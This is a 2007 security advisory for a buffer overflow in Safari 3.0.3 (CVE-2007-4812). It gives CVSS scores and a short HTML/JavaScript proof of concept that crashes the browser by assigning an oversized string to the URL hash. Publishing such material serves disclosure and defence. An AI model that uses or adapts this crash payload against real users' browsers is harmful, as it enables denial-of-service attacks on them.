Safari 3.0.3 (522.15.5) Buffer overflow

2007.09.12

Credit: azizov

Risk: High

Local: No

Remote: Yes

CVE: CVE-2007-4812

CWE: CWE-119

CVSS Base Score: 5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: None

Integrity impact: None

Availability impact: Partial

Azizov E. (azizov (at) itdefence (dot) ru [email concealed])

1. At processing of data, which has more than 65474 bytes in size, occurs buffer overflow.

POC:

<html>
<body>
<script>
var maxbuf = 65474;

buff = "A";
for (i=0;i<maxbuf;i++) { buff = buff+"A"; }
document.location.hash = buff+"BOW! ";
alert(document.location.hash);
</script>
</body>
</html>

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Safari 3.0.3 (522.15.5) Buffer overflow

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